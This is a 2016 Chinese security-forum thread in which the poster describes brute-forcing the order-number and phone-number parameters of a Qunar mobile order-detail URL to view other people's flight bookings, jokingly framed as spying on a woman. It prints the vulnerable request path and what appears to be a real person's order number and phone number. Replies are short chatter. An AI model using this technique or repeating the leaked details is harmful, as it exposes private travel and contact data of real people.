请选择 进入手机版 | 继续访问电脑版

SSS安全论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

产品
产品
团队
团队
版规
版规
查看: 930|回复: 4

去哪儿订单任意查询(需要字典强大)

[复制链接]
  • TA的每日心情
    擦汗
    2016-9-24 10:41
  • 签到天数: 26 天

    [LV.4]偶尔看看III

    发表于 2016-6-12 07:22:49 | 显示全部楼层 |阅读模式

    去哪儿今天去哪儿,去哪儿不如来(小熊旅游)

    http://touch.qunar.com/

    手机登陆端

    于是就借了同事去哪儿账号登陆

    查看订单


                                   
    登录/注册后可看大图

    1

    /flightOrderDetail.jsp?orderNo=xxxxxxxx&mobile=1860xxxxxx&sn=9FC5A13F13384B98EBE251472B1F8411&r=1&bd_source=3w_flight_sms&bd_from_id=wise&bd_ref_id=light_null&bd_channel_id=light_null&bd_sub_page=h5_mobile&bd_source_light=2264015



    orderno=订单号

    moble=就是手机好了

    其他参数都是 null=空

    意思就是说只要有了这两件东西 岂不就是随变查看女神在去哪儿的秘密呢吗

    抓包爆破

    扫了半天就出来一个

    lxh130430100540515     18611932216

    原文来自:安全周刊http://i.szxxly.cn


    回复

    使用道具 举报

  • TA的每日心情

    半小时前
  • 签到天数: 318 天

    [LV.8]以坛为家I

    发表于 2016-6-13 01:13:37 | 显示全部楼层
    一楼,看看咯,好像是转载的
  • TA的每日心情
    无聊
    2015-11-18 13:05
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2016-6-13 02:51:34 | 显示全部楼层
    靠 这网站 明显抄袭fb,无力吐槽,怎么过的
  • TA的每日心情

    前天 20:46
  • 签到天数: 118 天

    [LV.6]常住居民II

    发表于 2016-6-13 21:06:01 | 显示全部楼层
    我也是醉了  这么晚
  • TA的每日心情
    奋斗
    2017-1-21 20:52
  • 签到天数: 45 天

    [LV.5]常住居民I

    发表于 2016-7-31 08:40:13 | 显示全部楼层
    学习一下
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    关闭

    站长推荐上一条 /1 下一条

    关注微信赢邀请码

    QQ|Archiver|手机版|网站地图|网页地图|SSS安全论坛 ( 黔ICP备15010987号  

    GMT+8, 2017-2-24 23:19 , Processed in 0.459166 second(s), 32 queries .

    Powered by SSS团队 X3.2

    © 2014-2015 Comsenz Inc.

    快速回复 返回顶部 返回列表